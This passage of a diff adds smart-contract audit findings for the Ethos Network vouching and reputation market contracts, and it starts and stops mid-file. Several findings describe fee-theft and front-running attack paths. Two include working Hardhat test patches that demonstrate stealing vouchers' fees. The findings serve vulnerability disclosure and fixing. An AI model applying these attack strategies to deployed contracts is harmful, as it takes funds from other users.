MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/024.md b/024.md new file mode 100644 index 0000000..21950ba --- /dev/null +++ b/024.md @@ -0,0 +1,94 @@ +Slow Tan Swallow + +Medium + +# When users increase their vouch they will receive some part of the fees that thei've paid + +### Summary + +Doing `vouchByAddress` then `increaseVouch` would be more beneficial for users as they would receive some part of the entry fee. Thus users can exploit this to get some part of their paid fee back and lower the fees for the rest of the users. + +This happens as `increaseVouch` would `applyFees` and since our user would own some percentage of the total vouch balance, he would be entitled to that % of the fees. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // ... + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L949 +```solidity + function applyFees(...) internal returns (uint256 toDeposit, uint256 totalFees) { + // ... + if (vouchersPoolFee > 0) { + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L721-L731 +```solidity + function _rewardPreviousVouchers(...) internal returns (uint256 amountDistributed) { + // ... + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + //@autism since our user already has `vouch.balance` he would receive % of the fees he pays + // amount * balance / totalBalance + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } +``` + +See `Attack Path` for a good example + +### Root Cause + +`applyFees` acting as weights, distributing to all users +Users receiving rewards for their own vouching + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +Users to first `vouchByAddress` then `increaseVouch` + +### Attack Path + +Bob has 9 ETH vouched to him + +Normal case +1. Alice vouches 20 ETH to Bob, where 10% of that goes to the rest of the vouchers +2. Alice has vouched 18 ETH to Bob (2 ETH paid as fee) + +Attack +1. Alice vouches 10 ETH to Bob (1 ETH fee) +2. Bob has 18 ETH vouched for him (50% is from Alice - 9 ETH) +3. Alice vouches again 10 ETH to Bob (sending 1 ETH as rewards) +4. However since Alice holds 50% of his vouches (9 ETH) she claims 50% of the fees (0.5 ETH) + + +First scenario Alice vouched 20ETH and pays 2 ETH fees, as it should. +Second scenario Alice vouched 20ETH and pays only 1.5 ETH in fees. + +Note that the more the vouch increase is split between TX the more our user will save on fees. + +### Impact + +Users can reduce the fees they pay. They also steal some fees from the rest of the vouchers + +### PoC + +_No response_ + +### Mitigation + +Consider not returning any fees to `msg.sender` who increases it's vouch. \ No newline at end of file diff --git a/025.md b/025.md new file mode 100644 index 0000000..45f2ca6 --- /dev/null +++ b/025.md @@ -0,0 +1,49 @@ +Kind White Buffalo + +Medium + +# `marketFunds` will be wrongly updated when votes are sold + +### Summary + +When votes are sold, `marketFunds` is not decreased by the protocol fee, taken out of the total votes price, causing the `marketFunds` for that market to be higher than they actually are. + +### Root Cause + +In `sellVotes:522` `marketFunds` is decreased by `fundsReceived`. This is an issue as `fundsReceived` does not include the protocol fees, deducted from the total cost of the votes: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041. + +Therefore, `marketFunds` will be higher than the actual funds of the market. This is problematic as when the market is graduated and its funds are withdrawn through `withdrawGraduatedMarketFunds` more ETH will be withdrawn than available. This will either cause the withdrawal to revert, or the additional assets to be taken out of the funds of other markets. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Here is a simple example: + +1. A market has 10 ETH of funds +2. User sells 1 ETH of votes and has to pay 0.1 ETH in fees +3. Only 0.9ETH is deducted from `marketFunds`, due to the issue, so the market will have a `marketFunds` of 9.1 ETH, even though there are only 9 ETH +4. Now when the market is graduated and withdrawn, the withdrawal will revert, due to a lack of funds + +### Impact + +Withdrawing a graduated market will either revert, or assets will be taken out of the funds of other markets. + +### PoC + +_No response_ + +### Mitigation + +Update `sellVotes` to include the protocol fees: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L517 +```solidity + marketFunds[profileId] -= fundsReceived + protocolFee; //@audit UPDATE +``` \ No newline at end of file diff --git a/026.md b/026.md new file mode 100644 index 0000000..7b8f032 --- /dev/null +++ b/026.md @@ -0,0 +1,64 @@ +Slow Tan Swallow + +Medium + +# README is not followed when it comes to fee receiver + +### Summary + +As stated in the README the fee address should not be trusted +> Fee receiver should not have any additional access (beyond standard users), though if the fee receiver is set to owner/admin that's fine. + +This implies that the fee address can be any address and **should not** have any privileges above that of a normal user. + +However currently the fee receiver has more privileges than a normal user, as it can control when `applyFees` works and when it doesn't. That's because `applyFees` executes an arbitrary call to that address, from where on the address can re-ender and use a flash-loan to vouch and claim a huge part of the rewards or DOS the function (by reverting it). + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L941-L943 +```solidity + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } +``` + +When we consider that `applyFees` is used in all core functions - `vouchByProfileId`, `increaseVouch` and `unvouch` we can see that the address receiving the funds has a huge control over the contract. + +### Root Cause + +Fee receiver being called mid function inside `applyFees` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Any user calls `unvouch` +2. Fee receiver does not want that vouch to be reduced, so he reverts the call +3. User is unable to reduce his vouch + +### Impact + +README states that the fee receiver should not have any privileges above a normal user, however that's not true as that address can control all core functions and choose who can vouch for who. + +> Fee receiver should not have any additional access (beyond standard users), though if the fee receiver is set to owner/admin that's fine. + +### PoC + +_No response_ + +### Mitigation + +Instead of sending the funds directly to the fee receiver, increase `rewards` and allow them to claim. + + +```diff + function _depositProtocolFee(uint256 amount) internal { +- (bool success, ) = protocolFeeAddress.call{ value: amount }(""); +- if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); ++ rewards[protocolFeeAddress] += amount + } +``` \ No newline at end of file diff --git a/027.md b/027.md new file mode 100644 index 0000000..e35260f --- /dev/null +++ b/027.md @@ -0,0 +1,62 @@ +Rhythmic Tartan Whale + +Medium + +# Unused Return from verifiedProfileIdForAddress Function Call in EthosVouch.sol + +*Issue Type:* Logic Error + +*Location:*[https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L317](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L317) + +*Description:* +In the vouchByAddress function, the return value of the call to profile.verifiedProfileIdForAddress(msg.sender) is not used. In Solidity, discarding return values can lead to logical errors in program execution, potentially causing contract exploits and financial loss. + +*Impact:* +Failing to handle the return value of profile.verifiedProfileIdForAddress(msg.sender) might result in missing crucial checks or balances, leaving the contract susceptible to vulnerabilities. + +*Proof of Concept (PoC):* +The vulnerable code is found in the vouchByAddress function: +```Solidity +function vouchByAddress( + address subjectAddress, + string calldata comment, + string calldata metadata +) public payable onlyNonZeroAddress(subjectAddress) whenNotPaused { + IEthosProfile profile = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ); + profile.verifiedProfileIdForAddress(msg.sender); + + uint256 profileId = profile.profileIdByAddress(subjectAddress); + + vouchByProfileId(profileId, comment, metadata); +} +``` + +In Solidity, as in other programming languages, functions may return values as part of their execution. While it is possible that in some circumstances it may be safe to discard these return values, in most cases they should be captured by the caller so as to avoid inadvertent logical errors in program execution. In certain situations, failure to properly evaluate function return values can lead to contract exploits and possible loss of funds. + +*Mitigation:* +To mitigate this issue, the return value from profile.verifiedProfileIdForAddress(msg.sender) should be captured and properly utilised or evaluated. Here is a modified version of the code: +```diff +function vouchByAddress( + address subjectAddress, + string calldata comment, + string calldata metadata +) public payable onlyNonZeroAddress(subjectAddress) whenNotPaused { + IEthosProfile profile = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ); + + // Capture the return value of the function call ++ uint256 verifierProfileId = profile.verifiedProfileIdForAddress(msg.sender); ++ require(verifierProfileId != 0, "Verification failed."); +- profile.verifiedProfileIdForAddress(msg.sender); + + uint256 profileId = profile.profileIdByAddress(subjectAddress); + + vouchByProfileId(profileId, comment, metadata); +} +``` +In the modified code, the return value of profile.verifiedProfileIdForAddress(msg.sender) is stored in verifierProfileId and a check is performed to ensure it is valid before proceeding. + +*Tools Used:* Manual Review. \ No newline at end of file diff --git a/028.md b/028.md new file mode 100644 index 0000000..799299f --- /dev/null +++ b/028.md @@ -0,0 +1,41 @@ +Kind White Buffalo + +High + +# No slippage protection when selling votes + +### Summary + +When votes are sold there is no slippage protection on the amount of ETH the seller will receive. As a result, users may sell their votes for a lower value than intended. + +### Root Cause + +In `sellVotes` the user specifies the number of votes they want to sell, however, they do not specify the minimum amount of ETH they should receive for their votes. This is problematic as right before the seller's call to `sellVotes` is executed another user may sell their votes from the same type or buy votes from the opposite type, decreasing the price at which the votes will be sold. + +It is important to note that such protection is implemented when buying votes: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L461 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user decides to sell a TRUST vote, at the time that they call `sellVotes` the price is 1 ETH. +2. Right before the transaction is executed another user buys UNTRUST votes, causing the price of selling the vote to decrease to 0.5 ETH. +3. The seller sells the vote for only 0.5 ETH, even though they intended to sell it for 1 ETH, and the second user that bought the UNTRUST votes can sell them for a higher price. + +### Impact + +A seller can be sandwiched when selling their votes, causing them to lose funds. + +### PoC + +_No response_ + +### Mitigation + +Allow the seller to specify a minimum amount of ETH that they should receive for their votes. \ No newline at end of file diff --git a/029.md b/029.md new file mode 100644 index 0000000..decb5c4 --- /dev/null +++ b/029.md @@ -0,0 +1,139 @@ +Overt Alabaster Cottonmouth + +High + +# Attacker can steal considerable portion of fee by vouching in two steps instead of one + +## Description & Impact +The function [increaseVouch() calls applyFees() internally](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L440) which in turn [calls _rewardPreviousVouchers()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697). Here, all existing vouches are proportionally awarded a part of the `vouchersPoolFee` based on the ratio of their vouched amount to the total vouched amount. This **_includes_** the vouchId whose stake amount is being increased. +This can be used to game the system in the following manner: +- Assumption: Entry vouchers pool fee basis points = `10000` (for easy calculation). This effectively means `50%` of the voucher's `msg.value` will be deducted as fee. + +- Normal Scenario: + - Alice vouches `100 ETH` for a subject by calling `vouchByProfileId()`. + - Bob vouches `1000 ETH` for the subject by calling `vouchByProfileId()`. + - Alice gets `50% of 1000 = 500 ETH` as fee. Alice's balance = `600 ETH`. + - Bob's balance = `500 ETH`. + +- Attack Scenario: + - Alice vouches `100 ETH` for a subject by calling `vouchByProfileId()`. + - Bob (attacker) vouches `1000 ETH` in two steps. + - Step1: He calls `vouchByProfileId()` with `200 ETH`. + - Alice gets `50% of 200 = 100 ETH` as fee. Alice's balance = `200 ETH`. + - Bob's balance = `100 ETH` + - Step2: He calls `increaseVouch()` with `800 ETH`. + - Alice gets `(50% of 800) * 2/3 = 266.67 ETH` as fee. Alice's balance = `466.67`. + - Bob gets `(50% of 800) * 1/3 = 133.34 ETH` as fee. Bob's balance = `633.34 ETH`. + +Bob saved `133.34 ETH` in fee and robbed others of this amount. Note that the above example uses 2 steps for simplicity but Bob can increase the number of steps to enahnce his profit further. + +## Proof of Concept +Apply the following patch inside `test/EthosVouch.test.ts` and see it pass when run via `npm run hardhat -- test --grep "should demonstrate fee savings with two-step vouching strategy"`: +```diff +diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts +index be4d7f1..995ac57 100644 +--- a/ethos/packages/contracts/test/EthosVouch.test.ts ++++ b/ethos/packages/contracts/test/EthosVouch.test.ts +@@ -131,13 +131,13 @@ describe('EthosVouch', () => { + EXPECTED_SIGNER.address, + signatureVerifierAddress, + contractAddressManagerAddress, + FEE_PROTOCOL_ACC.address, + 0, // Entry protocol fee basis points + 0, // Entry donation fee basis points +- 0, // Entry vouchers pool fee basis points ++ 10000, // Entry vouchers pool fee basis points + 0, // Exit fee basis points + ]), + ); + + await ethosVouchProxy.waitForDeployment(); + const ethosVouchAddress = await ethosVouchProxy.getAddress(); +@@ -441,12 +441,58 @@ describe('EthosVouch', () => { + 'Wrong unhealthyResponsePeriod, 2', + ); + }); + }); + + describe('vouchByProfileId', () => { ++ it('should demonstrate fee savings with two-step vouching strategy', async () => { ++ const { ++ ethosVouch, ++ PROFILE_CREATOR_0, ++ PROFILE_CREATOR_1, ++ VOUCHER_0, ++ VOUCHER_1, ++ ethosProfile, ++ OWNER, ++ } = await loadFixture(deployFixture); ++ ++ // create a profile ++ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); ++ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); ++ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); ++ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); ++ await ethosProfile.connect(VOUCHER_0).createProfile(1); ++ await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); ++ await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); ++ await ethosProfile.connect(VOUCHER_1).createProfile(1); ++ ++ // Step 1: Naive user vouches 100 ETH ++ await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, { ++ value: ethers.parseEther('100'), ++ }); ++ ++ const attacker = VOUCHER_1; ++ // Step 2: Attacker vouches 200 ETH ++ await ethosVouch.connect(attacker).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, { ++ value: ethers.parseEther('200'), ++ }); ++ ++ // Step 3: Attacker vouches 200 ETH ++ await ethosVouch.connect(attacker).increaseVouch( ++ 1, // Same vouch ID ++ { value: ethers.parseEther('800') } ++ ); ++ const initialVouch = await ethosVouch.vouches(0); ++ const attackerVouch = await ethosVouch.vouches(1); ++ ++ // Get final state for two-step attack ++ expect(initialVouch.balance).to.be.lt(ethers.parseEther('600')); ++ expect(attackerVouch.balance).to.be.gt(ethers.parseEther('500')); ++ console.log("Fee saved = %d", attackerVouch.balance - ethers.parseEther('500')); ++ }); ++ + it('should fail if no profile', async () => { + const { ethosVouch, VOUCHER_0, ethosProfile, OWNER } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + +``` + +## Mitigation +Change the function signature of `_rewardPreviousVouchers()` to: +```diff + function _rewardPreviousVouchers( ++ bool excludeAnyVoucherId, ++ uint256 idToExclude, + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) +``` + +and that of `applyFees()` to: +```diff + function applyFees( ++ bool excludeAnyVoucherId, ++ uint256 idToExclude, + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) +``` + +- `increaseVouch()` needs to call the updated `applyFees()` while passing params `excludeAnyVoucherId = true` and `idToExclude = vouchId`. +- `applyFees()` then calls this updated `_rewardPreviousVouchers()` inside it. +- And lastly, exclude this `idToExclude` inside the two `for` loops of `_rewardPreviousVouchers()` whenever `excludeAnyVoucherId = true`. +- The calls to `applyFees()` originating from within other functions would need to be modified with `excludeAnyVoucherId = false` and `idToExclude = 0` (any value really). \ No newline at end of file diff --git a/030.md b/030.md new file mode 100644 index 0000000..5bcbd23 --- /dev/null +++ b/030.md @@ -0,0 +1,43 @@ +Overt Alabaster Cottonmouth + +Medium + +# Author can escape slashing by front-running it and unvouching + +## Description & Impact +As soon as an author sees in the mempool that the slasher has chosen to call [slash()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520) on his profileId, they can front-run it and call [unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) on all their vouches. This immediately returns all the balance to the author. The `slash()` function anyway doesn't consider archived vouches while slashing since they wouldn't have any balance: +```js + File: ethos/packages/contracts/contracts/EthosVouch.sol + + 520: function slash( + 521: uint256 authorProfileId, + 522: uint256 slashBasisPoints + 523: ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + 524: if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + 525: revert InvalidSlashPercentage(); + 526: } + 527: + 528: uint256 totalSlashed; + 529: uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + 530: + 531: for (uint256 i = 0; i < vouchIds.length; i++) { + 532: Vouch storage vouch = vouches[vouchIds[i]]; + 533:@---> // Only slash active vouches + 534:@---> if (!vouch.archived) { + 535: uint256 slashAmount = vouch.balance.mulDiv( + 536: slashBasisPoints, + 537: BASIS_POINT_SCALE, + 538: Math.Rounding.Floor + 539: ); + 540: if (slashAmount > 0) { + 541: vouch.balance -= slashAmount; + 542: totalSlashed += slashAmount; + 543: } + 544: } + 545: } +``` +This may effect the author's reputation but the immediate loss of ETH which would probably be of greater value, is avoided. + +## Mitigation +- Thr protocol could consider adding a time delay between the call to `unvouch()` and funds being returned to the author. The author should be required to call a new function to pull these funds into their address once the time period has expired. +- Then, the `slash()` logic can be modified to exclude only the vouches which are archived and have zero withdrawable funds in them. We may need to add another element in `struct Vouch` named `uint256 fundsNotYetPulledByAuthor` to track this. \ No newline at end of file diff --git a/031.md b/031.md new file mode 100644 index 0000000..8f8743a --- /dev/null +++ b/031.md @@ -0,0 +1,103 @@ +Overt Alabaster Cottonmouth + +High + +# Attacker can front-run a vouching deposit & steal fee + +## Description & Impact +Functions [vouchByProfileId()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330) or [vouchByAddress()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309) and [increaseVouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) where the author deposits funds internally call other fee distributing functions one of which is [_rewardPreviousVouchers()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697). Here, all existing vouches are proportionally awarded a part of the `vouchersPoolFee` based on the ratio of their vouched amount to the total vouched amount. +This can be used to game the system by an attacker in the following manner: +- Assumption: Entry vouchers pool fee basis points = `10000` (for easy calculation). This effectively means `50%` of the voucher's `msg.value` will be deducted as fee. + +- Normal Scenario: + - Alice vouches `100 ETH` for a subject by calling `vouchByProfileId()`. Since there is no other voucher the balance look like: + - Alice [pays no fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L714-L717). Alice's balance = `100 ETH`. + +- Attack Scenario: + - Alice vouches `100 ETH` for a subject by calling `vouchByProfileId()`. + - Bob (attacker) front-runs her tx and vouches `0.0001 ETH`. Since he is the sole voucher, all fees gets redirected to him: + - Bob gets `50% of 100 = 50 ETH` as fee. + - Alice's balance = `50 ETH` + +Note that while the aforementioned scenario is highly profitable for Bob since there were no pre-existing vouches, the issue still exists when there are vouches already in place. Only the magnitude of profitability for Bob decreases. Additionally, these other fee receivers (pre-existing vouchers) have a portion of their rightful fee stolen. + +## Proof of Concept +Apply the following patch inside `test/EthosVouch.test.ts` and see it pass when run via `npm run hardhat -- test --grep "should demonstrate stealth of fee through front running"`: +```diff +diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts +index be4d7f1..c290ce9 100644 +--- a/ethos/packages/contracts/test/EthosVouch.test.ts ++++ b/ethos/packages/contracts/test/EthosVouch.test.ts +@@ -131,13 +131,13 @@ describe('EthosVouch', () => { + EXPECTED_SIGNER.address, + signatureVerifierAddress, + contractAddressManagerAddress, + FEE_PROTOCOL_ACC.address, + 0, // Entry protocol fee basis points + 0, // Entry donation fee basis points +- 0, // Entry vouchers pool fee basis points ++ 10000, // Entry vouchers pool fee basis points + 0, // Exit fee basis points + ]), + ); + + await ethosVouchProxy.waitForDeployment(); + const ethosVouchAddress = await ethosVouchProxy.getAddress(); +@@ -441,12 +441,52 @@ describe('EthosVouch', () => { + 'Wrong unhealthyResponsePeriod, 2', + ); + }); + }); + + describe('vouchByProfileId', () => { ++ it('should demonstrate stealth of fee through front running', async () => { ++ const { ++ ethosVouch, ++ PROFILE_CREATOR_0, ++ PROFILE_CREATOR_1, ++ VOUCHER_0, ++ VOUCHER_1, ++ ethosProfile, ++ OWNER, ++ } = await loadFixture(deployFixture); ++ ++ // create a profile ++ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); ++ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); ++ await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); ++ await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); ++ await ethosProfile.connect(VOUCHER_0).createProfile(1); ++ await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); ++ await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); ++ await ethosProfile.connect(VOUCHER_1).createProfile(1); ++ ++ const attacker = VOUCHER_1; ++ ++ // ============== FRONT-RUNNING Tx by the attacker =============== ++ // Attacker vouches 0.0001 ETH ++ await ethosVouch.connect(attacker).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, { ++ value: ethers.parseEther('0.0001'), ++ }); ++ // =============================================================== ++ ++ // Naive user's Tx: vouches 100 ETH ++ await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, { ++ value: ethers.parseEther('100'), ++ }); ++ ++ // Verify stolen fee ++ const attackerVouch = await ethosVouch.vouches(0); ++ expect(attackerVouch.balance).to.be.gt(ethers.parseEther('50')); ++ }); ++ + it('should fail if no profile', async () => { + const { ethosVouch, VOUCHER_0, ethosProfile, OWNER } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + +``` + +## Mitigation +It's recommended to have a time delay after an author deposits funds for vouching. Only after this time delay should they be eligible to receive a portion of the 'previous voucher fee'. \ No newline at end of file diff --git a/032.md b/032.md new file mode 100644 index 0000000..b3b6856 --- /dev/null +++ b/032.md @@ -0,0 +1,80 @@ +Slow Tan Swallow + +High + +# Creators can take advantage of their first vouchers + +### Summary + +Creators (users who are vouched for) can take advantage of their first vouchers by manipulating the weights/balances of themselves using another account controlled by them. That is `applyFees` will never take a `vouchersPoolFee` for the first voucher, + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L717 +```solidity + function _rewardPreviousVouchers(uint256 amount, uint256 subjectProfileId) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + if (totalBalance == 0) { + return totalBalance; + } +``` + + +but it will for the rest, and more importantly if you are first, you are gonna get 100% of the fee, no matter your vouch (can be the min 0.0001 eth -> 0.40 USD). + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L719-L731 +```solidity + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // If only one you receive 100% of the fee, no matter your vouch balance + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } +``` + +### Root Cause + +How `_rewardPreviousVouchers` distributes the fee. +Creators being able to receive 100% of the fee while holding little to no amount. + +### Internal pre-conditions + +1. Creator making an account +2. Same creator making another profile (or using a friend's profile) to make the first vouch for himself with the min amount + +### External pre-conditions + +1. Any user vouching for any other user + +### Attack Path + +1. Bob (a famous guy who everyone would vouch for) makes an account and quickly vouches for himself (from another profile) the lowest amount 0.1 +2. Alice sees that Bob has made a profile, knowing that the first voucher does not pay `vouchersPoolFee` she quickly vouches for him 10 ETH + +However since Bob has already vouched for himself, the fee that Alice pays (5% `vouchersPoolFee`) goes strait to Bob's other account. Bob has successfully received a 0.5 ETH fee, while only vouching 0.0001 ETH, or only 0.40 USD for himself. + +### Impact + +First voucher looses part of his funds. User who gets vouched for receives an extra donation/fee. + +### PoC + +_No response_ + +### Mitigation + +The fee distributing design sounds cool, however there are many flaws with it, consider doing a slight redesign to fix all of the issues. \ No newline at end of file diff --git a/033.md b/033.md new file mode 100644 index 0000000..09e489d --- /dev/null +++ b/033.md @@ -0,0 +1,106 @@ +Main Honeysuckle Tarantula + +Medium + +# Incorrect calculation of funds on `buyVotes` could DoS `withdrawGraduatedMarketFunds` + +### Summary + +Consider the [`withdrawGraduatedMarketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) function. This function withdraws marketFunds eth from the contract. + +However, if there is no such amount of ETH on the contract, the function will not work. +```solidity +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` +Now let's look at how market funds are changing. +1. marketFunds is [assigned](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L344) an initial value in `_createMarket`. +```solidity +marketFunds[profileId] = initialLiquidityRequired; +``` +2. marketFunds is [increases](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) when ``buyVotes`` is purchased +```solidity +marketFunds[profileId] += fundsPaid; +``` +3. marketFunds [decreases](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 when ``sellVotes`` are sold. +```solidity +marketFunds[profileId] -= fundsReceived; +``` + +However, in the `buyVotes` function, marketFunds does not change by the number of eths that are on the contract. +Let's look at what `fundsPaid` consists of. + +As you can see from the `_calculateBuy` function - fundsPaid = priceForShares + protocolFee + donation + +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +fundsPaid += protocolFee + donation; +``` + +However, protocolFee is immediately sent to the feeAddress, i.e., it is not stored on the contract. Donation can be instantly output in the `withdrawDonations` function + +Thus, the actual amount of eth stored on the contract is less than that specified in marketFunds, so the withdrawGraduatedMarketFunds function will not work in extreme cases where there is no oversupply of ether. + + +### Root Cause + +ETH that is not stored on the contract is recorded in marketFunds and is assumed to be ETH that is stored on the contract. + +Protocol Fee, Donation in `buyVotes` should not go into marketFunds + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Let initial liquidity be 100. +The price per 1 share is 90. +User buys 1 share and its msg.value = 100. + +So 5 is protocol fee (max 5%), 5 is donation (max 5%), price = 90. + +marketFunds = 200. However, the contract will only hold 190, because protocolFee and donation will be withdrawn + +### Impact + +- DoS of core function +- incorrect funds calculation + +### PoC + +_No response_ + +### Mitigation + +`marketFunds = fundsPaid - protocolFee - donation` + +Or just don't add these variables to fundsPaid in the ‘calculateBuy` function \ No newline at end of file diff --git a/034.md b/034.md new file mode 100644 index 0000000..e8cc7c0 --- /dev/null +++ b/034.md @@ -0,0 +1,96 @@ +Main Honeysuckle Tarantula + +High + +# ProtocolFee for selling in `ReputationalMarket` should be deducted from the buyer's proceeds received, not from the balance of the protocol + +### Summary + +Let's consider the function [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495). +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : 